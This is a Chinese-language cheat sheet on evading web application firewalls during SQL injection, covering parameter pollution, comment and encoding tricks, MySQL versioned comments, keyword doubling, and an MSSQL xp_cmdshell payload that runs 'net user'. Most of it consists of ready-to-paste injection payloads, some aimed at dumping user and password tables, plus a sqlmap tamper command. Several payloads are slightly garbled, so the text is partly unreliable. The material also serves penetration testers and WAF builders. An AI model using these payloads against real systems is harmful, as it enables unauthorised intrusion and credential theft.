各种WAF绕过方法
waf针对于get防护度是很高的,很多选项默认开启,但是cookie post很多功能并不开启,现在没有一个安全厂商可以做到全部功能开启,资源占用量太大,所以一般只检测常见问题 因此在绕过的时候尽量避免get请求
(1)编码绕过
最常见的方法之一,可以进行urlencode,早期的方法,现在效果不是太好
(2)修改请求方式绕过
最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。
(3)复参数绕过
#例如一个请求是这样的
GET /pen/news.php?id=1 union select user,password from mysql.user
#可以修改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,测试最新版WAF能绕过部分语句
(4)WAF触发规则的绕过
WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多
策略一:特殊字符替换空格
用一些特殊字符代替空格,比如在mysql中%0a是换行,代替空格,用多行注释/**/代替空格,
还有前面学的url编码,如%23是井号,混用如下:
#原注入语句
xxx/sql.php/id=1 union select 1,user(),3,4,5
#混用后
xxx/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
xxx/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2
策略二:特殊字符拼接
把特殊字符拼接起来绕过WAF的检测,比如在mssql中,函数里面可以用+来拼接
#如:
GET /pen/news.php?id=1;exec(master…xp_cmdshell ‘net user’)
#可以改为:
GET /pen/news.php?id=1;exec(‘maste’+‘r…xp’+’_cmdshell’+’“net user”’)
策略三:注释包含关键字
在mysql中,可以利用/!/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。
GET /pen/news.php?id=1 union select user,password from mysql.user
#可以改为:
GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user
策略四:特殊符号
尝试seelct~ select~1 select! select@等绕过
(5):空格替换法
把空格替换成%0a/**/可以绕过最新版本WAF,
xxx/sql.php?id=1%20union%23%0aselect%23%0a1,user(),3,4,5
(6)关键字替换
xxx/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
#此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成
union select 1,2,3,4....
(7)编码与注释结合
xxx/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
xxx/sql.php?id=1/*!50000*/union/*!50000*/select/*!50000*/1,user(),3,4,5
xxx/sqli/Less-1/?id=1' and /*!1=1*/ %23 (WAF不拦截)
#U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/
#手工进行加注释进行注入太慢,一般我们通过Sqlmap这类工具来实现自动注入:
sqlmap.py -u "URL" --tamper="versionedmorekeywords.py" --dealy=1
(8)利用WAF本身的功能绕过
假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过
xxx/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法
-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
(9)使用其他变量或者命令对注入语句进行替换
COMMAND 代替品 WHAT TO USE INSTEAD
@@version 代替品 version()
concat() 代替品 concat_ws()
group_concat() 代替品 concat_ws()
= 代替品 like
#还有就是把or '1=1' 改成更复杂的如-1=-1**
(10)组合绕过waf
先判断注入点,把and为&&,urlencode后为%26%26
xxx/sql.php?id=1 and -1=-2
#变为
xxx/sql.php?id=1%20%26%26%20-1=-2
通过上面的变化,找到注入点后的绕过方法 1. 利用()代替空格 2. 利用mysql特性/!/执行语句 3. 利用/**/混淆代码
注入语句
id=1 union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1,
id=1 user(),(database/**/()),4,5
id=1 union/*%00*//*!50010select*/1,user(),version(),4,5
注意
1. mysql关键字中是不能插入//的,即se//lect是会报错的,但是函数名和括号之间是可以加上//的,像database//()这样的代码是可以执行的
2. /!/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
3. 数据或者函数周围可以无限嵌套()
4. 利用好00截断%00